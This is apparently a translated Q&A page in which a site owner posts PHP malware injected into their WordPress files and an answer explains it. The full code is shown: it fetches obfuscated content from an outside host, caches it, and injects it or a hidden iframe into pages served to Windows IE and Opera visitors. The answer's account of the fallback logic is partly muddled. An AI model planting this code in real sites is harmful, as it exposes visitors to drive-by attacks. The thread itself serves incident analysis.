0

谁能解释这段代码到底在做什么?似乎黑客已通过 wordpress 安装将此添加到我的每个 php 文件中。我知道它正在打开连接并从该 url 下载文件。还要别的吗?

if (!defined('frmDs')){
    define('frmDs' ,1);

    function frm_dl ($url) {
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $out = curl_exec ($ch);
            if (curl_errno($ch) !== 0) $out = false;
            curl_close ($ch);
        } else {$out = file_get_contents($url);}
        return trim($out);
    }

    function frm_crpt($in){
        $il=strlen($in);$o='';
        for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
        return $o;
    }

    function frm_getfrm()
    {
        $defframe = '<style>.blqrgw { position:absolute; left:-1117px; top:-1046px; }</style> <div class="blqrgw"><iframe src="http://kchergnrxp.myfw.us/jquery/get.php?ver=jquery.latest.js" width="371" height="426"></iframe></div>'; //default frame
        $codelink = 'http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
        if (!$codelink){
            return $defframe;
        }

        $dr='/var/tmp';
        $f = $dr.'/sess_'.md5('frm_frame');
        if(!file_exists($f) || time() - filemtime($f) > 60*5)
        {
            $dlc = frm_dl($codelink);
            if ($dlc){
                if ($fp = @fopen($f, 'w')){
                    fwrite($fp, frm_crpt($dlc));
                    fclose($fp);
                }
                else
                    return $dlc;
            }
            else
                @unlink($f);
        }
        $fc = @file_get_contents($f);
        return ($fc)?frm_crpt($fc):$defframe;
    }

    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
        error_reporting(0);

        if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
            @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
            print($nfc);
        }
    }
}
4

1 回答 1

4
if (!defined('frmDs')){
define('frmDs' ,1);

这个检查 frmDs 变量是否存在,我认为是为了防止脚本被执行两次(如果你定义了两次相同的函数,它会出错)。

在函数定义之后,执行的第一个代码块是 $ua = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){ error_reporting(0);

    if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
        @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
        print($nfc);
    }
}

在上面的代码块中,它会检查用户是否拥有 cookie __utmfr,如果没有,则将 frm_getfrm() 的结果打印到 Web 输出。

换句话说,如果用户是第一次访问该站点,他会在他的 HTML 页面的开头得到 frm_getfrm() 的结果。

函数 frm_getfrm() 很复杂,但最终它会尝试返回一个隐藏的 IFRAME,其中包含来自外部网站http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest的内容.js 在您的托管服务器无法连接到外部服务器的情况下。如果您的服务器可以连接到外部服务器,脚本使用 PHP 内置函数下载http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js的内容并返回。

于 2013-04-30T17:28:45.917 回答